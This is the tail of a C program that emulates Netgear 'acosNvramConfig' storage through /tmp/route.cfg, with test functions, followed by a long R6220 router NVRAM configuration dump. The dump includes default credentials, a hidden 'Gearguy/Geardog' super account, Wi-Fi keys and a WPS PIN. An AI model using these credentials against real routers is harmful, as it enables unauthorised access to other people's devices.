        remove(temp_file);
        result = 1;
    }
    
    printf("[DEBUG] Unset config: %s %s\n", key, found ? "deleted" : "not found");
    return result;
}

/**
 * @brief 检查配置项是否存在
 * @param key 配置键名
 * @return true存在，false不存在
 */
bool acosNvramConfig_exist(const char *key)
{
    char *value = nvm_get_value(key);
    bool exists = (value != NULL);
    
    printf("[DEBUG] Exist config: %s = %s\n", key, exists ? "true" : "false");
    
    if (value) {
        free(value);
    }
    
    return exists;
}

/**
 * @brief 测试函数
 */
void test_config_functions(void)
{
    printf("=== Testing Config Functions ===\n");
    
    // 测试设置和获取
    acosNvramConfig_set("server_ip", "192.168.1.1");
    char *ip = acosNvramConfig_get("server_ip");
    if (ip) {
        printf("Got server_ip: %s\n", ip);
        free(ip);
    }
    
    // 测试修改
    acosNvramConfig_set("server_ip", "10.0.0.1");
    ip = acosNvramConfig_get("server_ip");
    if (ip) {
        printf("Updated server_ip: %s\n", ip);
        free(ip);
    }
    
    // 测试匹配
    bool matched = acosNvramConfig_match("server_ip", "10.0.0.1");
    printf("Match test: %s\n", matched ? "PASS" : "FAIL");
    
    // 测试读取整数
    acosNvramConfig_set("port", "8080");
    int port;
    if (acosNvramConfig_readAsInt("port", &port, 80) == 0) {
        printf("Port: %d\n", port);
    }
    
    // 测试检查并设置
    acosNvramConfig_check_set("new_setting", "value123");
    
    // 测试存在性检查
    bool exists = acosNvramConfig_exist("new_setting");
    printf("new_setting exists: %s\n", exists ? "true" : "false");
    
    // 测试删除
    acosNvramConfig_unset("new_setting");
    exists = acosNvramConfig_exist("new_setting");
    printf("new_setting after unset exists: %s\n", exists ? "true" : "false");
    
    printf("=== Test Complete ===\n");
}

/**
 * @brief 主函数（测试用）
 */
int main(int argc, char *argv[])
{
    // 如果带参数"-test"，运行测试
    if (argc > 1 && strcmp(argv[1], "-test") == 0) {
        test_config_functions();
        return 0;
    }
    
    // 简单演示
    printf("Config Management System\n");
    printf("Config file: %s\n", ROUTE_CONFIG_PATH);
    
    // 示例：设置和获取配置
    acosNvramConfig_set("test_key", "test_value");
    char *value = acosNvramConfig_get("test_key");
    if (value) {
        printf("test_key = %s\n", value);
        free(value);
    }
    
    return 0;
}
```

/tmp/route.cfg 的配置文件如下:

```
fw_spi=1
usb_info_dev7=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
http_server_wan_enable=0
wifi_mac12=62:c0:02:11:22:33
wan_fix_dns=0
wifi_wep_on12=0
usb_info_dev83=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_auth_type3=3
wan_iptype=Dynamic
usb_info_dev8=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev63=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_ssid4=NETGEAR_Guest3
usb_info_dev53=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev16=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wan_vci_change=0
usb_info_dev37=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
interface=wan1,wan2,wan3,wan4,wan5,wan6,wan7,wan8,vlan1,vlan2,vlan3,vlan4,ssid1,ssid2,ssid3,ssid4,PhonePort(1&2)
usb_info_dev70=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wiz_language=English
usb_info_dev67=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wl0_channel=0
usb_info_dev32=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
port_trigger_dis=0
wifi_def_key2=1
usb_info_dev11=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_if_on12=0
usb_info_dev6=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev28=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_def_key14=1
lan_ipaddr=192.168.1.1
upnp_enable=1
fw_response_ping=0
wan_dod=1
usb_info_dev79=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_wep_on13=0
mail_block=1
wifi_ssid1=NETGEAR-5G
usb_info_dev68=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev45=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_if_on4=0
wan_vpi=0
usb_info_dev99=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
ntp_custom=0
usb_info_dev1=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev30=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
ftp_server_enable=0
usb_info_dev75=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
upnp_ttl=4
mail_enable=0
ftp_server_wan_port=21
wifi_if_on2=0
fw_import=0
wan_vci=38
usb_info_dev61=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_def_key4=1
wps_config_state=1
wan_dslmode=MMODE
static_if_status=1
upnp_adv_time=30
wifi_broadcast_ssid14=1
ddns_use_wildcards=0
rt_rip_version=0
usb_info_dev0=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_key_len3=0
wifi_allow_guest4=0
fw_remote_port=8443
usb_info_dev59=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
1:macaddr=01:23:45:67:89:ab
wifi_if_on1=1
pppoe2_schedule_config=127:0:0:23:59
wifi_ssid3=NETGEAR_Guest2
wan_hwaddr_def=01:23:45:67:89:ab
port_forward_dis=0
wifi_allow_guest3=0
wl0_ssid=NETGEAR_11G
wifi_ssid12=NETGEAR-5G_Guest
usb_info_dev31=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev15=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
qos_enable=0
wifi_ssid13=NETGEAR-5G_Guest2
lan_ifnames=eth1 eth2 eth3 eth4
wifi_if_on13=0
wifi_frag_thre=2346
wifi_key_len14=0
wifi_broadcast_ssid2=1
wifi_dot11_mode1=9
usb_info_dev54=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
ssidn=2
fw_block_trust_enable=0
usb_info_dev78=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
fw_block=0
lan_proto=dhcp
dhcp_end_ip=192.168.1.254
usb_info_dev100=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev51=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_broadcast_ssid12=1
wifi_dot11_iso1=0
wifi_auth_type2=3
usb_info_dev58=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wanif=eth0
usb_info_dev38=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev26=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev35=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_allow_guest14=0
usb_info_dev73=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_dot11_mode=8
wifi_region1=Asia
wifi_ssid14=NETGEAR-5G_Guest3
wifi_mac=00:c0:02:11:22:33
wan_encap=1
usb_info_dev46=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
bs_trustedip_enable=0
upnp_permission=enable
fw_nat=1
mail_sh_day=0
wifi_present=1
wiz_country=US
firstpageiswiz=1
usb_info_dev92=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev85=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
popwindow=1
wifi_wep_on3=0
usb_info_dev93=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_auth_type1=3
rip_multicast=1
pppoa_idle=0
ca_wsectype=wep
wifi_wds1=0
rt_rip_direction=both
usb_info_dev14=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
fw_acc_port=8080
enable_igmp=0
wifi_band=2
port_trigger_timeout=20
wifi_dot11_iso=0
usb_info_dev76=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
pppoa_username=Guest
wifi_radius_port=1812
wan_pppoe_relay=0
usb_info_dev17=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev84=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
2:macaddr=01:23:45:67:89:ab
wifi_allow_guest13=0
wan_vpi_change=0
fw_time_zone=GMTb
usb_info_dev42=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
et0macaddr=01:23:45:67:89:ab
wifi_auth_type12=3
lan_if=br0
usb_info_dev33=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_auth_type4=3
usb_info_dev98=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev97=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_rts_thre=2347
log_gateway=1
usb_info_dev56=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev25=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
ddns_enable=0
usb_info_dev86=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev29=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev44=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_broadcast_ssid3=1
wl_ssid=NETGEAR
wifi_def_key3=1
usb_info_dev52=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wmm_enable=1
wifi_wep_on2=0
smb_server_enable=1
wifi_access_control1=0
usb_info_dev57=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
mail_portscan=1
time_zone=0
http_username=admin
wan_mode=dhcpc
restore_defaults=0
wan_ifname=eth0
usb_info_dev47=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev22=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
blank_state=0
wifi_access_control=0
usb_info_dev36=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_def_key13=1
mail_logfull=0
ftp_server_wan_enable=0
wifi_key_len2=0
schedule_config=127:0:0:23:59
mail_dos=1
wifi_if_on=1
usb_info_dev21=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_wds_apmode=repeater
storage_share_def=U:USB_Storage:-:0:0T:T_Drive:-:0:0S:S_Drive:-:0:0R:R_Drive:-:0:0
http_server_wan_port=443
mail_sh_hour=1
usb_info_dev34=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_radius_port1=1812
wifi_wep_on14=0
pppoe_idle=0
wifi_broadcast_ssid1=1
storage_new_workgroup=Workgroup
usb_info_dev69=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev5=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_key_len=0
fw_acc_lan=0
storage_allow_all=1
wifi_broadcast_ssid13=1
wifi_wep_on=0
usb_info_dev40=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_key_len1=0
wifi_auth_type14=3
console_loglevel=1
wifi_def_key12=1
usb_info_dev27=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev9=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev74=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev12=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_auth_type13=3
wifi_if_on3=0
usb_info_dev55=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_wep_on1=0
usb_info_dev96=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_key_len12=0
usb_info_dev13=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_wep_on4=0
log_block=1
wifi_band1=2
usb_info_dev41=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_ssid12_abgn=0
restore_default=0
usb_info_dev66=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_ssid2=NETGEAR_Guest
wifi_enable_shortpreamble=1
fw_dmz_enable=0
fw_disable=0
0:macaddr=01:23:45:67:89:ab
wan_def_mac=00:c0:02:11:22:34
wifi_region=Asia
wifi_channel1=0
wifi_wds=0
usb_info_dev89=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev87=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev20=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev71=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
storage_machine_name=readyshare
wifi_broadcast_ssid4=1
usb_info_dev94=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
fw_schedule=1111111:00:00-24:00
usb_info_dev60=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
pro_count=0
usb_info_dev3=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
snmp_enable=0
usb_info_dev95=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_allow_guest2=0
usb_info_dev72=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_wds_apmode1=point
dhcp_server_enable=1
wifi_ssid=NETGEAR
ddns_service_provider=dyndns
wifi_dome_off=0
needfwcheck=1
wifi_ssid12_bgn=0
usb_info_dev90=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_if_on14=0
wifi_def_key1=1
wifi_key_len13=0
mail_sendlog=2
dis_sip_alg=0
usb_info_dev49=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev91=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
log_login=1
http_timeout=5
usb_info_dev43=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev24=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev62=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
http_password=password
lan_bipaddr=192.168.0.255
usb_info_dev77=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_auth_type=3
wifi_keep_wep_page=0
usb_info_dev19=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wifi_channel=0
wifi_def_key=1
http_server_enable=1
log_dos=1
usb_info_dev23=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev2=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
wan_mtu=1500
time_zone_x=0
usb_info_dev82=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
fw_remote=0
usb_info_dev39=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev18=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
dhcp_server_enable8=1
dhcp_start_ip7=192.168.6.2
pppoa_username3=Guest
voip_line1_ring_valid=disable
usb_info_dev50=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
lan_netmask3=255.255.255.0
qos_8021q_enable=enable
pppoa_username7=Guest
wan_mode2=dhcpc
atm_mbs8=1200
sip_line1_reg_port=5060
atm_scr6=524288
vlann=4
atm_pcr8=524288
prov_active_status=disable
wan_dod2=1
voip_atpm_key=#
atm_qos7=ubr
atm_scr8=524288
wan_mtu5=1458
wifi_mac3=00:c0:02:12:35:94
wan_fix_dns8=0
wan_iptype6=Dynamic
wan_dod6=1
wan_iptype3=Dynamic
fw_response_ping6=0
prov_period_inteval=1440
usb_info_dev4=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
lan_bipaddr4=192.168.3.255
pppoe_mtu=1492
wan_num=1
wifi_mac4=00:c0:02:11:22:36
pppoe_idle4=0
atm_pcr3=524288
pppoa_mtu3=1500
atm_pcr4=524288
voip_line2_pref_codec=0
dhcp_end_ip7=192.168.6.254
atm_scr5=524288
pptp_present=0
wan_mode4=dhcpc
wan_mtu7=1458
sip_line2_reg_port=5060
pppoa_idle3=0
wan_iptype2=Dynamic
voip_vad_enable=disable
wan_mode6=dhcpc
wan_fix_dns2=0
qn=4
dslmode_present=0
lan_bipaddr2=192.168.1.255
vlan_on=1
voip_line2_ring_id=0
pppoe_idle6=0
fw_nat4=1
lan_bipaddr8=192.168.7.255
lan_netmask5=255.255.255.0
wan_mtu2=1458
fw_nat8=1
usb_info_dev48=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
prov_tftp_secondary_port=2400
qos_wmm_enable=enable
pppoa_mtu4=1500
atm_pcr=524288
pppoe_idle5=0
pppoa_idle4=0
fw_nat6=1
dhcp_start_ip2=192.168.1.2
atm_qos2=ubr
atm_pcr6=524288
wan_dod8=1
wan_macaddr_def=52:54:00:12:34:56
pppoe_idle8=0
atm_mbs=1200
dhcp_start_ip3=192.168.2.2
dhcp_end_ip4=192.168.3.254
atm_scr=524288
pppoa_idle8=0
atm_qos3=ubr
dhcp_end_ip8=192.168.7.254
iplist_enable=0
atm_mbs6=1200
pppoa_idle7=0
fw_spi7=1
wan_dod7=1
fw_spi5=1
wan_fix_dns7=0
ifmap_lan=1,1,1,1
ifmap_wifi=1,1,1,1
atm_qos=ubr
qn_max=6
dhcp_server_enable5=1
pstn_prefix=*
ifmap_tr069=1
pppoe_idle2=0
atm_mbs7=1200
wifi_broadcast_ssid=1
ipoa_present=0
atm_qos4=ubr
usb_info_dev88=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
pppoa_idle2=0
wan_iptype8=Dynamic
lan_netmask=255.255.255.0
sipalg_present=0
pppoa_mtu=1500
sip_line2_reg_expire=1200
fw_response_ping3=0
log_type=0
portn=4
voip_line1_pref_codec=0
pvcn=3
ifmap_present=0
wan_fix_dns6=0
fw_nat2=1
sip_line1_proxy_port=5060
fw_response_ping4=0
sip_line2_reg_headstart=60
usb_info_dev10=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
qos_prio_level=3;Low!2;Normal!1;High!0;Highest
dhcp_start_ip=192.168.1.2
fw_spi6=1
voip_ld_timeout=5
ethConver=1
voip_line2_enable=disable
wifi_mac2=62:c0:02:11:22:32
wan_mtu4=1458
atm_qos5=ubr
pppoe_mtu3=1492
lan_bipaddr7=192.168.6.255
vlan_if=eth0
voip_line1_ring_id=0
dhcp_start_ip8=192.168.7.2
dhcp_end_ip5=192.168.4.254
dhcp_server_enable6=1
sip_rtp_port=10000
wan_iptype7=Dynamic
groupn=8
voip_web_hidden=1
dhcp_server_enable2=1
voip_line1_enable=disable
lan_netmask7=255.255.255.0
pppoe_idle3=0
qos_icmp_enable=disable
wan_mode8=dhcpc
lan_netmask6=255.255.255.0
sip_local_port=5060
fw_remote_tftp=0
fw_nat5=1
pppoa_idle6=0
voip_fd_timeout=20
wan_mtu3=1458
wan_iptype4=Dynamic
atm_qos6=ubr
fw_nat3=1
lan_bipaddr5=192.168.4.255
dhcp_server_enable4=1
pppoe_mtu2=1492
wan_fix_dns4=0
wan_fix_dns5=0
qos_icmp_queue=1
voip_line2_pref_fax_codec=1
atm_mbs2=1200
fw_remote_type=3
atm_mbs3=1200
ifmap_enable=disable
usb_info_dev80=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
qos_tos_mode=1
wizard_present=0
usb_info_dev81=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
pppoa_username5=Guest
ddns_wan_num=1
voip_line2_ring_valid=disable
voip_line1_pref_fax_codec=1
wan_mtu8=1458
ifmap_dft=1
dhcp_end_ip3=192.168.2.254
dhcp_end_ip2=192.168.1.254
wan_mode3=dhcpc
voip_pstn_enable=disable
fw_response_ping2=0
fw_response_ping5=0
lan_bipaddr3=192.168.2.255
qos_tos_enable=enable
wiz_reboot=0
atm_mbs4=1200
prov_tftp_primary_port=69
vlan_map=3,2,1,0
atm_pcr7=524288
fw_spi2=1
sip_line1_reg_expire=1200
atm_scr4=524288
pstn_relay_enable=enable
fw_response_ping8=0
pppoa_username2=Guest
pppoa_username4=Guest
dhcp_start_ip6=192.168.5.2
atm_mbs5=1200
upgrade_default=0
fw_spi3=1
wan_fix_dns3=0
wan_mtu6=1458
atm_pcr5=524288
fw_nat7=1
voip_line1_anonymous_in=1
fw_spi4=1
sip_line1_reg_headstart=60
telnet_active_status=0
fw_spi8=1
lan_bipaddr6=192.168.5.255
wan_dod4=1
pppoa_mtu2=1500
group_map=VLAN1,SSID1,SSID2,SSID3,SSID4,5G_SSID1,5G_SSID2,5G_SSID3,5G_SSID4,WAN1:VLAN2,WAN2:VLAN3,WAN3:VLAN4::::
pppoe_idle7=0
atm_scr2=524288
qos_sprio_table_4=0,3!1,4!2,4!3,3!4,2!5,2!6,1!7,1
fwpt_df_count=0
qos_sprio_table_3=0,3!1,4!2,2!3,1!4,3!5,3!6,3!7,3
voip_line2_anonymous_in=1
qos_sprio_table_info=1,TOS_PREC,ON,3,HIGH,0,7,8!2,TOS_DSCP,OFF,3,HIGH,0,63,0!3,WiFi_WMM,ON,3,OVERW,0,7,8!4,VLA8qos_sprio_table_1
atm_qos8=ubr
qos_dft_queue=2
dhcp_server_enable3=1
pppoa_username6=Guest
atm_scr3=524288
voip_si_time=0
dhcp_start_ip4=192.168.3.2
upnp_present=0
wan_iptype5=Dynamic
dhcp_end_ip6=192.168.5.254
pppoa_idle5=0
atm_scr7=524288
wan_dod3=1
lan_netmask4=255.255.255.0
dhcp_server_enable7=1
pppoe_username=guest
access_control_mode=0
wan_mode7=dhcpc
sip_line2_proxy_port=5060
vlan_mode=0
pppoa_username8=Guest
fw_response_ping7=0
atm_pcr2=524288
prov_tftp_default_port=69
wan_mode5=dhcpc
wan_dod5=1
remote_wan_num=1
lan_netmask8=255.255.255.0
dhcp_start_ip5=192.168.4.2
pppoe_mtu4=1492
usb_info_dev65=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
usb_info_dev64=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
lan_netmask2=255.255.255.0
staWirelessMode=9
tm_watermark=0
HT_AMSDU=0
HT_EXTCHA=1
gd_down_task_num=3
dhcpPriDns=10.10.10.251
dhcpEnabled=1
WscModeOption=0
Key4Type=0
start_in_blankstatenvram_get_buf:=blank
l2tp_idletime=0
tm_3g_ampm=am
log_fwd=1
htpwd_recovery_time=0
Password=admin
wifi_wsc_uuid_hex=3883309230921883a955000000000000
hsdpa_pdp_type=0
wan_pptp_mode=0
super_username=Gearguy
gd_up_speed=10
NoForwardingBTNBSSID=0
start_in_blankstate=1
mail_ssl=0
WdsEnable=0
media_server_enable=0
tm_3g_enable=0
wan_pptp_ip=10.10.10.254
BSSTxop=0;0;94;47
WebInit=1
HT_HTC=1
qos_uplink_rate=512
tm_enable=0
tm_roundup_volumn=0
iptv_br_lan2=0
tm_3g_action_internet=0
wifi_radius_rekey_secs=3600
DisableOLBC=0
BSSCwmin=4;4;3;2
tm_3g_reset_day=1
tm_start_time=0
DLSCapable=0
tm_reset_day=1
CountryRegionABand=7
HT_BW=1
VLANPriority=0
wan_pppoe_pass=pppoe_passwd
WscUseUFD=0
HT_MIMOPS=3
PMKCachePeriod=10
detect_hw_link=1
wifi_rts_thre1=2347
AckPolicy=0;0;0;0
APSDCapable=0
hsdpa_gui_vis=1
dhcpStart=10.10.10.100
Key2Type=0
detect_retry_interval=30
WdsEncrypType=NONE
WmmCapable=1
HT_MpduDensity=5
WscConfMode=0
MacFilterEnable=0
wifi_ap_mode=0
Key3Type=0
detect_resume_time=30
HT_RDG=1
BSSACM=0;0;0;0
HSCounter=0
gd_enable=0
wan_pptp_server=pptp_server
wifi_broadcast_ssid5=1
wifi_ssid5=NETGEAR_Guest4
iptv_br_wlan1=0
HostName=ralink
RADIUS_Acct_Port=1813
adslwan_mode_backup=dhcpc
hsdpa_isp=0
apple_server_enable=1
CountryRegion=5
hsdpa_password=guest
gd_refresh_rate=3
tm_3g_action_led=0
wan_reset_enable_pptp=0
APCwmax=6;10;4;3
wan_pptp_user=pptp_user
AuthMode=OPEN
natEnabled=1
WscConfStatus=2
l2tp_server=10.0.0.138
wanConnectionMode=STATIC
APCwmin=4;4;3;2
DMZEnable=0
EncrypType=NONE
detect_method=1
wan_l2tp_netmask=255.255.255.0
OperationMode=0
wifi_dot11_iso4=0
wifi_ap_name=R6220
HT_OpMode=0
NintendoCapable=0
wan_secondary_dns=168.95.1.1
WirelessEvent=0
HideSSID=0
tm_mtd_initd=0
PortForwardEnable=0
lang_user_select=0
nat_filter=security
wan_account=R6220
IPPortFilterEnable=0
tm_3g_start_time=0
refresh_times=0
htpwd_recovery_enable=0
hsdpa_access_num=1
hsdpa_username=guest
wan_l2tp_user=l2tp_user
HT_40MHZ_INTOLERANT=0
WscConfigured=0
dhcpGateway=10.10.10.254
HT_BSSCoexistence=1
wifi_dot11_iso3=0
TurboRate=0
wifi_allow_guest5=0
TxBurst=1
qos_bw_sel=1
wifi_key_len4=0
BeaconPeriod=100
gd_auto_refresh=0
HT_PROTECT=1
wifi_auth_type5=3
PktAggregate=1
hsdpa_autoconn=1
SSID1=MT7620_AP
wan_l2tp_mode=0
WscEncrypType=1
session_timeout_interval=0
PreAuth=0
need_not_loginnvram_get_buf:=0
WscAuthType=1
wifi_psk_pwd1=1234567890
idle_timeout_interval=0
DtimPeriod=1
brs_rus_wizard_used=0
TxRate=0
igmpEnabled=0
iptv_br_lan1=0
wifi_psk_pwd=1234567890
WscKeyMGMT=WPA-EAP
AccessPolicy0=0
tm_3g_roundup_volumn=0
wifi_frag_thre1=2346
HT_STBC=1
config_state=blankstate
hsdpa_country=0
tm_3g_poll_interval=10
log_wlan=1
AutoChannelSelect=0
BSSAifsn=3;7;2;2
HT_RxStream=2
APACM=0;0;0;0
TxPower=100
wan_l2tp_pass=l2tp_passwd
wan_l2tp_ip=10.10.10.254
AccessPolicy1=0
HT_TxStream=2
WscRegResult=1
AccessPolicy3=0
tm_action_led=0
pptpc_user=Guest
detect_hwlink_failtime=30
l2tp_dod=1
tm_reset_hour=0
WscConfigMethod=138
apcli_act_as_wan=1
mail_notify=0
wps_aplockdown_forceon=0
product_name=R6220
wifi_def_key5=1
enable_guistringtable=1
gd_down_speed=0
wifi_mac1=00:c0:02:11:22:32
wifi_radius_rekey_secs1=3600
tm_reset_minute=00
tm_3g_limit_by=0
wifi_badge_led_enable=1
WscActionIndex=9
ParentalControl=0
tm_3g_watermark=0
lltdEnabled=0
IEEE8021X=0
WPAPSK1=12345678
AccessPolicy2=0
tm_3g_mtd_inited=0
pptpc_idletime=0
dhcpSecDns=168.95.1.1
Channel=6
pptpc_server=10.0.0.138
BssidNum=1
NoForwarding=0
APTxop=0;0;94;47
tm_action_internet=0
BSSCwmax=10;10;4;3
wps_mode1=enabled
wps_config_state1=1
wifi_button_ctl=0
hsdpa_autoreconn=1
tm_limit_dir=0
wan_pptp_gateway=10.10.10.253
wps_device_pin=12345670
tm_limit_by=0
wifi_coexist_enabled=1
wifi_dot11_iso5=0
wifi_schedule_on=0
HT_AutoBA=1
HT_MCS=33
wan_primary_dns=10.10.10.251
mail_ssl_port=25
CSPeriod=6
wifi_wsc_uuid_asc=38833092-3092-1883-a955-000000000000
find_new_version=0
wan_pptp_netmask=255.255.255.0
pr_wiz_startingwan=0
mt_3g_ant_internal=0
en_ipmac_enable=0
need_not_login=0
wan_conn_method=1
tm_3g_reset_hour=00
RekeyInterval=3600
wifi_super_wifi_enable=0
Platform=MT7620
iptv_br_lan4=0
HT_BAWinSize=64
WscSSID=RalinkInitialAP
HT_BADecline=0
DefaultKeyID=1
HT_GI=1
wifi_allow_guest12=0
wan_reset_enable=0
wifi_if_on5=0
detect_retry_num=2
wifi_ap_assign=dhcpc
dhcpMask=255.255.255.0
old_wan_mode=dhcpc
wifi_key_len5=0
qos_rate_unit=Kbps
gd_downmanage_auto=0
VLANID=0
wan_l2tp_gateway=10.10.10.253
wifi_wep_on5=0
IEEE80211H=0
WirelessMode=9
dhcpLease=86400
ShortSlot=1
wan_pppoe_user=pppoe_user
log_asites=1
SecurityMode=0
device_has_dongle_plugged=0
TxPreamble=0
super_password=Geardog
DefaultFirewallPolicy=1
media_server_name=ReadyDLNA
HT_DisallowTKIP=1
BasicRate=15
RADIUS_Port=1812
device_name=R6220
WscAKMP=1
wan_l2tp_server=l2tp_server
Login=admin
RekeyMethod=DISABLE
APAifsn=3;7;1;1
iptv_br_lan3=0
fw_service_block=0
WscUseUPnP=1
BGProtection=0
dhcpEnd=10.10.10.200
hsdpa_idletime=0
stpEnabled=0
wifi_ap_dns_assign=dynamic
Key1Type=0
tm_poll_interval=10
VLANEnable=0
wan_pptp_pass=pptp_passwd
apcli_resetwlan_enable=1
HT_LinkAdapt=0
RTSThreshold=2347
FragThreshold=2346
tm_ampm=am
WscNewKey=scaptest
wps_mode=enabled
tm_3g_reset_minute=00
wifi_dot11_iso2=0
tm_3g_limit_dir=0
media_server_scan=1
tm_mtd_inited=0
tm_limit_time=0
tm_limit_volumn=0
wla_keyBit=0
os_date=Feb  7 2018
syslog_localDisplayLevel=3
wla_temp_mode=145Mbps
